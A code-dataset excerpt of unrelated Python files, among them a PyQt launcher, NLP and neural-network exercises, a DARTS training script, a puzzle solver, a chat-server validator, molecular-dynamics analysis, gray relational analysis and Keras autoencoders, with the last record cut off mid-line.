QApplication.setAttribute(Qt.ApplicationAttribute.AA_UseHighDpiPixmaps)\n\n from pyqtgraph import __version__\n\n if _version_tuple(__version__) < _version_tuple('0.13.2'):\n import pyqtgraph as pg\n\n pg.SpinBox.setMaximumHeight = lambda self, max_h: QAbstractSpinBox.setMaximumHeight(self, round(max_h))\n\n\n if (not hasattr(sys, '_MEI''PASS') # if not embedded into a PyInstaller executable\n and not Path('.git').exists()):\n update()\n\n if not hasattr(sys, '_MEI''PASS'): # if not embedded into a PyInstaller executable\n def ensure_package(package_name: str | Sequence[str]) -> bool:\n \"\"\"\n Install packages if missing\n\n :param package_name: a package name or a sequence of the names of alternative packages;\n if none of the packages installed beforehand, install the first one given\n :returns bool: True if a package is importable, False when an attempt to install the package made\n \"\"\"\n\n if not package_name:\n raise ValueError('No package name(s) given')\n\n if isinstance(package_name, str) and is_package_importable(package_name):\n return True\n\n if not isinstance(package_name, str) and isinstance(package_name, Sequence):\n for _package_name in package_name:\n if is_package_importable(_package_name):\n return True\n\n if not sys.executable:\n # sys.executable can be empty if argv[0] has been changed and Python is\n # unable to retrieve the real program name\n return False\n\n import subprocess\n\n if not isinstance(package_name, str) and isinstance(package_name, Sequence):\n package_name = package_name[0]\n if not getattr(ensure_package, 'pip_updated', False):\n import ensurepip\n\n ensurepip.bootstrap(upgrade=True, user=True)\n ensure_package.pip_updated = True\n if '.' in package_name: # take only the root part of the package path\n package_name = package_name.split('.', maxsplit=1)[0]\n subprocess.check_call((sys.executable, '-m', 'pip', 'install', package_name))\n return False\n\n\n for package in REQUIREMENTS:\n ensure_package(package)\n\n from qtpy.QtCore import QLibraryInfo, QLocale, QTranslator\n from qtpy.QtWidgets import QApplication\n\n from utils import resource_path\n from backend import App\n\n make_old_qt_compatible_again()\n\n app: QApplication = QApplication(sys.argv)\n\n languages: set[str] = set(QLocale().uiLanguages() + [QLocale().bcp47Name(), QLocale().name()])\n language: str\n qt_translator: QTranslator = QTranslator()\n for language in languages:\n if qt_translator.load('qt_' + language,\n QLibraryInfo.location(QLibraryInfo.LibraryLocation.TranslationsPath)):\n app.installTranslator(qt_translator)\n break\n qtbase_translator: QTranslator = QTranslator()\n for language in languages:\n if qtbase_translator.load('qtbase_' + language,\n QLibraryInfo.location(QLibraryInfo.LibraryLocation.TranslationsPath)):\n app.installTranslator(qtbase_translator)\n break\n my_translator: QTranslator = QTranslator()\n for language in languages:\n if my_translator.load(language, resource_path('translations')):\n app.installTranslator(my_translator)\n break\n\n windows: list[App] = []\n for a in sys.argv[1:] or ['']:\n window: App = App(a)\n window.show()\n windows.append(window)\n app.exec()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"613417991","text":"# -*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\n第2章: UNIXコマンドの基礎\r\n\r\nhightemp.txtは,日本の最高気温の記録を「都道府県」「地点」「℃」「日」の\r\nタブ区切り形式で格納したファイルである.以下の処理を行うプログラムを作成し,\r\nhightemp.txtを入力ファイルとして実行せよ.\r\nさらに,同様の処理をUNIXコマンドでも実行し,プログラムの実行結果を確認せよ.\r\n\r\n12. 1列目をcol1.txtに,2列目をcol2.txtに保存\r\n各行の1列目だけを抜き出したものをcol1.txtに,2列目だけを抜き出したものを\r\ncol2.txtとしてファイルに保存せよ.確認にはcutコマンドを用いよ.\r\n\"\"\"\r\n\r\n\r\nwith open(\"data/hightemp.txt\", encoding=\"utf8\") as read_file:\r\n with open(\"out/col1.txt\", mode=\"w\", encoding=\"utf8\") as write_file_1:\r\n with open(\"out/col2.txt\", mode=\"w\", encoding=\"utf8\") as write_file_2:\r\n for line in read_file:\r\n cols = line.split(\"\\t\")\r\n write_file_1.write(cols[0] + \"\\n\")\r\n write_file_2.write(cols[1] + \"\\n\")\r\n","sub_path":"nlp100_012.py","file_name":"nlp100_012.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"437948408","text":"# coding: utf-8\nfrom ..module import *\n\n\nclass Network(object):\n def __init__(self, params, input_size=784, hidden_size=100, output_size=10):\n self.params = {}\n self.params['W1'] = params['W1']\n self.params['b1'] = params['b1']\n self.params['W2'] = params['W2']\n self.params['b2'] = params['b2']\n\n def initParams(self, input_size=784, hidden_size=100, output_size=10, weight_init_std=0.01):\n self.params['W1'] = weight_init_std * np.random.randn(input_size, hidden_size)\n self.params['b1'] = np.zeros(hidden_size)\n self.params['W2'] = weight_init_std * np.random.randn(hidden_size, output_size)\n self.params['b2'] = np.zeros(output_size)\n\n def predict(self, x):\n W1, W2 = self.params['W1'], self.params['W2']\n b1, b2 = self.params['b1'], self.params['b2']\n\n a1 = np.dot(x, W1) + b1\n z1 = sigmoid(a1)\n a2 = np.dot(z1, W2) + b2\n y = softmax(a2)\n return y\n\n def judge(self, x):\n return np.argmax(self.predict(x))\n\n def loss(self, x, t):\n y = self.predict(x)\n return cross_entropy_error(y, t)\n\n def accuracy(self, x, t):\n y = predict(x)\n y = np.argmax(y, axis=1)\n t = np.argmax(t, axis=1)\n accuracy = np.sum(y == t) / float(x.shape[0])\n return accuracy\n\n def numerical_gradient(self, x, t):\n loss_W = lambda W: self.loss(x, t)\n\n grads = {}\n grads['W1'] = numerical_gradient(loss_W, self.params['W1'])\n grads['b1'] = numerical_gradient(loss_W, self.params['b1'])\n grads['W2'] = numerical_gradient(loss_W, self.params['W2'])\n grads['b2'] = numerical_gradient(loss_W, self.params['b2'])\n return grads\n","sub_path":"models/TwoLayerPerceptron/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"417662278","text":"import sys\nimport torch\nimport torch.nn as nn\nfrom torch.optim import SGD, Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision.datasets import CIFAR10\nfrom torchvision.transforms import ToTensor, Normalize, Compose, RandomCrop, RandomHorizontalFlip\n\nfrom hhutil.io import parse_python_config\n\nfrom horch.datasets import train_test_split\nfrom horch.defaults import set_defaults\nfrom horch.optim.lr_scheduler import CosineLR\nfrom horch.train.metrics import TrainLoss, Loss\nfrom horch.train.cls.metrics import Accuracy\nfrom horch.train import manual_seed\n\nfrom hinas.models.primitives import set_primitives\nfrom hinas.train.darts import DARTSLearner\n\ncfg = parse_python_config(sys.argv[1])\n\n# torch.backends.cudnn.enabled = True\n# torch.backends.cudnn.benchmark = True\nmanual_seed(cfg.seed)\n\ntrain_transform = Compose([\n RandomCrop(32, padding=4),\n RandomHorizontalFlip(),\n ToTensor(),\n Normalize([0.491, 0.482, 0.447], [0.247, 0.243, 0.262]),\n])\n\nvalid_transform = Compose([\n ToTensor(),\n Normalize([0.491, 0.482, 0.447], [0.247, 0.243, 0.262]),\n])\n\nroot = '/Users/hrvvi/Code/study/pytorch/datasets/CIFAR10'\nds = CIFAR10(root, train=True, download=True)\n\nds = train_test_split(ds, test_ratio=0.0001)[1]\nds_train, ds_search = train_test_split(\n ds, test_ratio=0.5, shuffle=True, random_state=cfg.seed,\n transform=train_transform, test_transform=train_transform)\nds_val = train_test_split(\n ds, test_ratio=0.5, shuffle=True, random_state=cfg.seed,\n test_transform=valid_transform)[1]\n\ntrain_loader = DataLoader(ds_train, batch_size=cfg.train_batch_size, pin_memory=True, shuffle=True, num_workers=1)\nsearch_loader = DataLoader(ds_search, batch_size=cfg.search_batch_size, pin_memory=True, shuffle=True, num_workers=1)\nval_loader = DataLoader(ds_val, batch_size=cfg.val_batch_size, pin_memory=True, shuffle=False, num_workers=1)\n\nset_defaults({\n 'relu': {\n 'inplace': False,\n },\n 'bn': {\n 'affine': False,\n }\n})\nset_primitives(cfg.primitives)\nmodel = cfg.network_fn()\ncriterion = nn.CrossEntropyLoss()\n\nepochs = cfg.epochs\noptimizer_arch = Adam(model.arch_parameters(), lr=cfg.arch_lr, betas=(0.5, 0.999), weight_decay=1e-3)\noptimizer_model = SGD(model.model_parameters(), cfg.model_lr, momentum=0.9, weight_decay=getattr(cfg, \"model_wd\", 3e-4))\nlr_scheduler = CosineLR(optimizer_model, epochs, min_lr=getattr(cfg, \"model_min_lr\", 0))\n\ntrain_metrics = {\n \"loss\": TrainLoss(),\n \"acc\": Accuracy(),\n}\n\neval_metrics = {\n \"loss\": Loss(criterion),\n \"acc\": Accuracy(),\n}\n\ntrainer = DARTSLearner(model, criterion, optimizer_arch, optimizer_model, lr_scheduler,\n train_metrics=train_metrics, eval_metrics=eval_metrics,\n search_loader=search_loader, grad_clip_norm=cfg.grad_clip_norm, work_dir=cfg.work_dir)\n\ntrainer.fit(search_loader, epochs, val_loader, val_freq=getattr(cfg, \"val_freq\", 5), callbacks=cfg.callbacks)","sub_path":"snippets/tests/darts/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"299619112","text":"\"\"\"\n구슬 탈출 3\n\"\"\"\nfrom collections import deque\n# import sys\n# sys.stdin = open(\"input.txt\")\n\ndef move(dir, y, x, hy, hx): # 각 방향으로 이동하면서 홀에 빠지는지 체크\n cnt = hole = 0\n if dir == 0: # 상\n while Map[y - cnt - 1][x] != '#':\n cnt += 1\n if y - cnt == hy and x == hx:\n hole = True\n break\n y -= cnt\n elif dir == 1: # 하\n while Map[y + cnt + 1][x] != '#':\n cnt += 1\n if y + cnt == hy and x == hx:\n hole = True\n break\n y += cnt\n\n elif dir == 2: # 좌\n while Map[y][x - cnt - 1] != '#':\n cnt += 1\n if x - cnt == hx and y == hy:\n hole = True\n break\n x -= cnt\n else: # 우\n while Map[y][x + cnt +1] != '#':\n cnt += 1\n if x + cnt == hx and y == hy:\n hole = True\n break\n x += cnt\n return hole, y, x, cnt\n\ndef compare_rb(dir, ry, rx, by, bx, res): # 같은 자리니까 더 많이 움직인 쪽이 멀리 있으니까 한칸 덜 오도록\n if dir == 0:\n if res: by += 1\n else: ry += 1\n elif dir == 1:\n if res: by -= 1\n else: ry -= 1\n elif dir == 2:\n if res: bx += 1\n else: rx += 1\n else:\n if res: bx -= 1\n else: rx -= 1\n return ry, rx, by, bx\n\ndef solve(cnt, d, ry, rx, by, bx, hy, hx): # red, blue, hole\n dq = deque()\n route = deque()\n dq.append([cnt, d, ry, rx, by, bx, hy, hx])\n route.append('')\n result = 0\n\n while dq:\n cnt, d, ry, rx, by, bx, hy, hx = dq.popleft()\n string = route.popleft()\n if cnt > 9:\n result = -1\n break\n for i in range(4): # 상하좌우 체크\n if cnt != 0: # 처음에는 상하좌우 다 돌아야 되기 때문에 거를 필요 없음\n if d == 0 or d == 1:\n if i == 0 or i == 1: continue\n elif d == 2 or d == 3:\n if i == 2 or i == 3: continue\n\n b_check, next_by, next_bx, b_cnt = move(i, by, bx, hy, hx)\n if b_check: # 파란색 공이 빠졌으면 진행할 필요없이 다음으로\n continue\n r_check, next_ry, next_rx, r_cnt = move(i, ry, rx, hy, hx)\n if r_check: # 빨간색 공이 빠졌으면 끝\n result = cnt + 1\n string = string + str(i)\n break\n if next_ry == next_by and next_rx == next_bx: # 옮겼을 때, 같은 위치면 이동\n next_ry, next_rx, next_by, next_bx = compare_rb(i, next_ry, next_rx, next_by, next_bx, b_cnt > r_cnt)\n \n dq.append([cnt + 1, i, next_ry, next_rx, next_by, next_bx, hy, hx])\n route.append(string + str(i))\n\n if result != 0:\n break\n for i in string:\n if i == '0': string = string.replace(i, 'U')\n elif i == '1': string = string.replace(i, 'D')\n elif i == '2': string = string.replace(i, 'L')\n elif i == '3': string = string.replace(i, 'R')\n return result, string\n\nN, M = map(int, input().split())\nMap = [input() for _ in range(N)]\n\nfor i in range(N):\n for j in range(M):\n if Map[i][j] == 'B':\n blue_y = i; blue_x = j\n if Map[i][j] == 'R':\n red_y = i; red_x = j\n if Map[i][j] == 'O':\n hole_y = i; hole_x = j\n\nresult , route = solve(0, None, red_y, red_x, blue_y, blue_x, hole_y, hole_x)\nif result > 0:\n print(result)\n print(route)\nelse: print(result)","sub_path":"BOJ/BOJ_15644.py","file_name":"BOJ_15644.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126319311","text":"import time\r\nimport otchet\r\ndef newogran(func,a,b):\r\n start_time = time.time()\r\n x0=a\r\n t=b\r\n k=0\r\n #print(x0)\r\n intervall=[]\r\n func0=[eval(func) for x in [x0-t,x0,x0+t]]\r\n #print(func0)\r\n if func0[0]>=func0[1]<=func0[2]:\r\n interval=[x0-t,x0+t]\r\n print(interval)\r\n intervall.append(interval)\r\n elif func0[0]<=func0[1]>=func0[2]:\r\n print(\"Function is not unimodal\")\r\n return\r\n elif func0[0]>=func0[1]>=func0[2]:\r\n delta=t\r\n a0=x0\r\n x1=x0+t\r\n k=1\r\n interval=[a0]\r\n sk = 0\r\n while sk != 1000:\r\n xnext = x1 + 2**k*delta\r\n funcxnet=func.replace('x',str(xnext))\r\n funcx1 = func.replace('x', str(x1))\r\n if eval(funcxnet)=eval(funcx1):\r\n interval.append(xnext)\r\n break\r\n print(interval)\r\n intervall.append(interval)\r\n elif func0[0]<=func0[1]<=func0[2]:\r\n delta=-t\r\n b0=x0\r\n x1=x0-t\r\n k=1\r\n interval=[b0]\r\n sk=0\r\n while sk!=1000:\r\n xnext = x1 + 2**k*delta\r\n funcxnet=func.replace('x',str(xnext))\r\n funcx1 = func.replace('x', str(x1))\r\n counter=0\r\n if eval(funcxnet)=eval(funcx1):\r\n interval.insert(0, xnext)\r\n break\r\n print(interval)\r\n intervall.append(interval)\r\n otchet.otchetsven(intervall[0])\r\n t2 = (time.time() - start_time)\r\n #print(\"T2----------\",t2)\r\n return sum(intervall,[])\r\n\r\nif __name__ == \"__main__\":\r\n newogran('x**3',1,1)\r\n #newogran('(x)**4+8*(x)**3-6*(x)**2-72*(x)')","sub_path":"Noneogran.py","file_name":"Noneogran.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"437099809","text":"import Util\nimport json\nimport re\nfrom datetime import datetime\n\n\nclass RequestValidator:\n\n def __init__(self, client):\n self.client = client\n\n self.allowedRequests = {\n 'login': self.login,\n 'logout': self.logout,\n 'msg': self.msg,\n 'names': self.names,\n 'help': self.help\n }\n self.somelist = {\n 'login': self.login,\n 'help': self.help\n }\n\n def login(self, rep):\n username = rep['content']\n pattern = re.compile('^[a-zA-Z0-9]+$')\n if not pattern.match(username):\n self.client.connection.send(\n Util.response_error('Invalid username. The username can only contain A-Z or 0-9'))\n elif self.client.username:\n self.client.connection.send(Util.response_error('Already logged in.'))\n elif username not in Util.Globals.connectedClients:\n Util.Globals.connectedClients[username] = self.client\n self.client.username = username\n self.client.connection.send(Util.response_info('Login Successful. History:'))\n\n self.client.send_history()\n else:\n self.client.connection.send(Util.response_error('Username taken.'))\n\n def logout(self, rep):\n try:\n Util.Globals.connectedClients.pop(self.client.username)\n except KeyError:\n pass\n\n def msg(self, rep):\n if self.client.username:\n time = datetime.now().strftime('%H:%M:%S')\n Util.Globals.history[len(Util.Globals.history) + 1] = Util.response_message(\n self.client.username, rep['content'], time)\n for client in Util.Globals.connectedClients.values():\n client.connection.send(\n Util.response_message(self.client.username, rep['content'], time))\n\n def names(self, rep):\n users = ''\n for key in Util.Globals.connectedClients.keys():\n users += key + ','\n users = users[:-1]\n self.client.connection.send(Util.response('info', users))\n\n def help(self, rep):\n message = \"The following requests are valid: 'login', 'logout', 'msg', 'names', 'help'\"\n self.client.connection.send(Util.response_info(message))\n\n def validate(self, response):\n if response:\n response = json.loads(response)\n\n if response['request'] in self.allowedRequests and self.client.username:\n return self.allowedRequests[response['request']](response)\n elif response['request'] in self.somelist:\n return self.somelist[response['request']](response)\n else:\n self.client.connection.send(Util.response_error('Invalid request.'))\n else:\n self.logout(response)\n","sub_path":"src/main/python/Server/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"255234556","text":"import matplotlib.pyplot as plt\nfrom seaborn import kdeplot\nplt.style.use('ggplot')\n\nimport mdtraj as md\nimport pymc3 as pm\nimport theano.tensor as tt\n\nimport numpy as np\n\n##the dihedral idices:\nindices = np.array([[4, 6, 8, 14],[6, 8, 14, 16]])\n\n\n##load standard MD run:\ntraj_standardmd = md.load_dcd('./trajectories/diala_standardmd_traj.dcd', top='./alanine-dipeptide-implicit.pdb')\ndihedrals_standardmd = md.compute_dihedrals(traj_standardmd, indices, periodic=True)\ndihedrals_standardmd[:,0] = np.where(dihedrals_standardmd[:,0]<2, dihedrals_standardmd[:,0], dihedrals_standardmd[:,1]-np.pi)\n\n##load GST run:\ntraj_gst = md.load_dcd('./trajectories/diala_gst_traj.dcd', top='./alanine-dipeptide-implicit.pdb')\ndihedrals_gst = md.compute_dihedrals(traj_gst, indices, periodic=True)\ndihedrals_gst[:,0] = np.where(dihedrals_gst[:,0]<2, dihedrals_gst[:,0], dihedrals_gst[:,1]-np.pi)\ndihedrals_gst = dihedrals_gst[::2]\nprint('Lengths: SMD:', len(dihedrals_standardmd), len(dihedrals_gst))\n\nfig, ax = plt.subplots(2,1, sharey=True)\nfig.set_figwidth(15)\nfig.set_figheight(5)\n\nax[0].plot(dihedrals_standardmd[:,0], label='Standard MD')\nax[0].legend()\nax[1].plot(dihedrals_gst[:,0], c='C1', label='Serial tempering')\nax[1].legend()\nfor a in ax:\n a.axhline(np.pi, c='k', linestyle='--')\n a.axhline(-np.pi, c='k', linestyle='--')\n\n\nfig.text(0.00, 0.5, 'Slow DoF (φ)', va='center', rotation='vertical')\nfig.savefig('../figures/ala_di_slow_dof.tif')\nfig.savefig('../figures/ala_di_slow_dof.svg')\n\n####Now fit a simple 2-state markov state model\n\nclass markov_model(pm.distributions.Discrete):\n def __init__(self, p, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.p = k = tt.as_tensor_variable(p)\n self.mode = tt.as_tensor_variable(0.5)\n\n def logp(self, x):\n p = self.p\n x_im1 = x[:-1]\n x_i = x[1:]\n likelihood = pm.Bernoulli.dist(p[x_im1]).logp(x_i)\n\n return tt.sum(likelihood)\n\n\n#binarize the slow dof (phi) into two states using a priori knowledge of the states:\nsmd= dihedrals_standardmd[:,0] < -0.25\ngst = dihedrals_gst[:,0] < -0.25\n\n#1-arr.astype(int) means 0=ground state, 1=excited state\nwith pm.Model() as mo:\n a = pm.Beta('a', alpha=1, beta=1)\n b = pm.Beta('b', alpha=1, beta=1)\n bah = markov_model('bah', p = [a,b], observed=1-smd.astype(int)) \n trace_smd = pm.sample(1000)\n\nwith pm.Model() as mo:\n a = pm.Beta('a', alpha=1, beta=1)\n b = pm.Beta('b', alpha=1, beta=1) \n bah = markov_model('bah', p = [a,b], observed=1-gst.astype(int))\n trace_gst = pm.sample(1000)\n\n\n\nfig = plt.figure(constrained_layout=True)\n\ngs = fig.add_gridspec(2,20)\nax0 = fig.add_subplot(gs[0, :11])\nax1 = fig.add_subplot(gs[1, :11])\nax2 = fig.add_subplot(gs[:2, 11:])\n\nfig.set_figwidth(15)\nfig.set_figheight(5)\n\ntime = np.arange(10000)/10\nax0.plot(time, dihedrals_standardmd[:,0], label='Standard MD')\nax0.legend()\nax1.plot(time, dihedrals_gst[:,0], c='C1', label='Serial tempering')\nax1.legend()\n\nfor a in [ax0, ax1]:\n a.axhline(np.pi, c='k', linestyle='--')\n a.axhline(-np.pi, c='k', linestyle='--')\n a.set_ylabel('φ')\n a.set_xlabel('Time (ns)')\n\n#doesnt work with contsrained layout:\n#fig.text(0.04, 0.5, 'Slow DoF (φ)', va='center', rotation='vertical')\n\n\n\nfor trace, col, label in zip([trace_smd, trace_gst], ['C0', 'C1'], ['Standard MD', 'Serial tempering']):\n samples = trace['a']\n kdeplot(samples, color=col, label=label)\n hpd = pm.stats.hpd(samples)\n #plt.plot( hpd,[-0.5,-0.5],linewidth=2, c=col)\n m = samples.mean()\n print(hpd)\n ax2.errorbar(m, -0.5, xerr = np.array([m-hpd[0], hpd[1]-m])[:,None],mfc='white',mew=2,\n fmt='o',c=col, linewidth=4, markersize=15, capsize=3)\n\nax2.set_ylabel('Probability density function')\nax2.set_yticks([])\nax2.set_xlabel('Transition probability')\nax2.set_title('Density')\nax2.legend()\n\n\nfig.savefig('../figures/ala_di.tif')\nfig.savefig('../figures/ala_di.svg')\nfig.savefig('../figures/ala_di.png')\n","sub_path":"alanine_dipeptide/makefigs.py","file_name":"makefigs.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"90133331","text":"\n\n#calss header\nclass _ANTIHERO():\n\tdef __init__(self,): \n\t\tself.name = \"ANTIHERO\"\n\t\tself.definitions = [u'the central character in a play, book, or film who does not have traditionally heroic qualities, such as courage, and is admired instead for what society generally considers to be a weakness of their character: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_antihero.py","file_name":"_antihero.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"208882941","text":"################################\n#date: 2017.10.28\n# by Katyusha\n################################\n\n#灰度关联矩阵的分析输入一个参考矩阵consult, 一个待分析矩阵compare, 和分析过程中的分辨率resolution\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass GrayMat():\n\n def __init__(self, in_consult, in_compare, in_consult_label, in_compare_label, in_resolution=0.5):\n self.consult=np.array(in_consult)\n self.compare=np.array(in_compare)\n self.consult_label=in_consult_label\n self.compare_label=in_compare_label\n self.resolution=in_resolution\n self.corr_degree=np.zeros((self.consult.shape[0], self.compare.shape[0]))\n\n def mat_create(self):\n m1=self.consult.shape[0]\n m2=self.compare.shape[0] #m1,m2分别是参考向量和待分析向量的数目\n mk=self.consult.shape[1]\n\n for i in range(0, m1):\n trace = np.zeros((m2, mk))\n for j in range(0, m2):\n trace[j,:]=self.compare[j,:]-self.consult[i,:]\n\n min_min=np.abs(trace).min()\n max_max=np.abs(trace).max()\n\n coefficient=(min_min+self.resolution*max_max)/(np.abs(trace)+self.resolution*max_max)\n self.corr_degree[i]=coefficient.sum(axis=1)/mk\n\n def mat_plot(self):\n x=np.array(range(len(self.consult_label)))\n width=0.8/self.compare.shape[0]\n for i in range(self.compare.shape[0]):\n plt.bar(x+i*width, self.corr_degree[:,i], width=width, label=self.compare_label[i])\n plt.legend()\n plt.show()\n\n def input_init(self): #做标准化\n m1 = self.consult.shape[0]\n m2 = self.compare.shape[0] # m1,m2分别是参考向量和待分析向量的数目\n for i in range(0, m1):\n self.consult[i,:]=self.consult[i,:]/self.consult[i,0]\n for j in range(0, m2):\n self.compare[j,:]=self.compare[j,:]/self.compare[j,0]\n\n\nif __name__==\"__main__\":\n test_compare=[[308.58, 310, 295, 346, 367],\n [195.4, 189.9, 187.2, 205, 222.7],\n [24.6, 21, 12.2, 15.1, 14.57],\n [20, 25.6, 23.3, 29.2, 30],\n [18.98, 19, 22.3, 23.5, 27.655]]\n\n test_consult=[[170, 174, 197, 216.4, 235.8],\n [57.55, 70.74, 76.8, 80.7, 89.85],\n [88.56, 70, 85.38, 99.83, 103.4],\n [11.19, 13.28, 16.82, 18.9, 22.8],\n [4.03, 4.26, 4.34, 5.06, 5.78],\n [13.7, 15.6, 13.77, 11.98, 13.95]]\n\n test_compare_label=[\"固定资产投资\", \"工业投资\", \"农业投资\", \"科技投资\", \"交通投资\"]\n\n test_consult_label=[\"国民收入\", \"工业收入\", \"农业收入\", \"商业收入\", \"交通收入\", \"建筑业收入\"]\n\n test=GrayMat(test_consult, test_compare, test_consult_label, test_compare_label, 0.5)\n test.input_init()\n test.mat_create()\n print(test.corr_degree)\n test.mat_plot()\n\n\n\n\n\n\n\n","sub_path":"statistical_learning/Gray_matrix.py","file_name":"Gray_matrix.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"292360093","text":"from setuptools import setup, find_packages\n\nrequires = [ 'tornado', 'sqlalchemy', 'configparser' ]\n\nsetup(name='client',\n version='1.0',\n description='Web client with tornado',\n classifiers=[\n \"Programming Language :: Python\"\n ],\n author='Brian Roy Sagredo Lijeron',\n author_email='brian.sagredo@thecloudbit.com',\n packages=find_packages(),\n install_requires=requires\n )","sub_path":"Tornado-Client/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"57578665","text":"import tensorflow as tf\nimport tensorflow.keras.layers as layers\nimport tensorflow.keras as keras\nimport numpy as np\n\ndef get_autoencoder_model():\n input_img = keras.Input(shape=(32, 128, 1)) # adapt this if using 'channels_first' image data format\n\n x = layers.Conv2D(32, (5, 5), strides = (1,2), padding='same')(input_img) # 32x128x1 -> 32x128x1\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2D(64, (5, 5), strides = (1,2), padding='same')(x) # 16x64x32 -> 16x64x32\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2D(128, (5, 5), strides = (2,2), padding='same')(x) # 8x32x32 -> 8x32x64\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2D(256, (3, 3), strides = (2,2), padding='same')(x) # 4x16x32 -> 4x16x128\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2D(512, (3, 3), strides = (2,2), padding='same')(x) # 4x16x32 -> 4x16x128\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n\n volume_size = keras.backend.int_shape(x)\n x = layers.Conv2D(40, (4,4), strides=(1,1), padding = 'valid')(x) # 4x16x128 -> 4x16x40\n encoded = layers.Flatten()(x)\n\n x = layers.Dense(volume_size[1] * volume_size[2] * volume_size[3])(encoded) \n x = layers.Reshape((volume_size[1], volume_size[2], 512))(x) \n # at this point the representation is (6, 6, 128), i.e. 128-dimensional\n\n x = layers.Conv2DTranspose(256, (3, 3), strides = (2,2), padding='same')(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2DTranspose(128, (3, 3), strides = (2,2), padding='same')(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2DTranspose(64, (5, 5), strides = (2, 2), padding='same')(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.Conv2DTranspose(32, (5, 5), strides = (1, 2), padding='same')(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n decoded = layers.Conv2DTranspose(1, (5, 5), strides = (1,2), padding='same')(x)\n\n autoencoder = keras.Model(input_img, decoded)\n opt = keras.optimizers.Adam(lr = 0.01)\n autoencoder.compile(optimizer=opt, loss='mean_squared_error')\n return autoencoder\n\ndef get_ds_autoencoder_model():\n input_img = tf.keras.Input((32, 128, 1)) # adapt this if using 'channels_first' image data format\n\n x = layers.SeparableConv2D(32, (5, 5), padding='same')(input_img) # 32x128x1 -> 32x128x1\n x = layers.MaxPool2D(pool_size = (1,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(64, (5, 5),padding='same')(x) # 16x64x32 -> 16x64x32\n x = layers.MaxPool2D(pool_size = (1,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(128, (5, 5), padding='same')(x) # 8x32x32 -> 8x32x64\n x = layers.MaxPool2D(pool_size = (2,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(256, (3, 3), padding='same')(x) # 4x16x32 -> 4x16x128\n x = layers.MaxPool2D(pool_size = (2,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(512, (3, 3), padding='same')(x) # 4x16x32 -> 4x16x128\n x = layers.MaxPool2D(pool_size = (2,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n\n volume_size = keras.backend.int_shape(x)\n x = layers.SeparableConv2D(40, (4,4), strides=(1,1), padding = 'valid')(x) # 4x16x128 -> 4x16x40\n encoded = layers.Flatten()(x)\n\n x = layers.Dense(volume_size[1] * volume_size[2] * volume_size[3])(encoded) \n x = layers.Reshape((volume_size[1], volume_size[2], 512))(x) \n # at this point the representation is (6, 6, 128), i.e. 128-dimensional\n\n x = layers.SeparableConv2D(256, (3, 3), padding='same')(x)\n x = layers.UpSampling2D(size = (2,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(128, (3, 3), padding='same')(x)\n x = layers.UpSampling2D(size = (2,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(64, (5, 5), padding='same')(x)\n x = layers.UpSampling2D(size = (2,2))(x)\n x = layers.BatchNormalization()(x)\n x = layers.Activation('relu')(x)\n x = layers.SeparableConv2D(32, (5, 5), padding='same')(x)\n x = layers.UpSampling2D(size 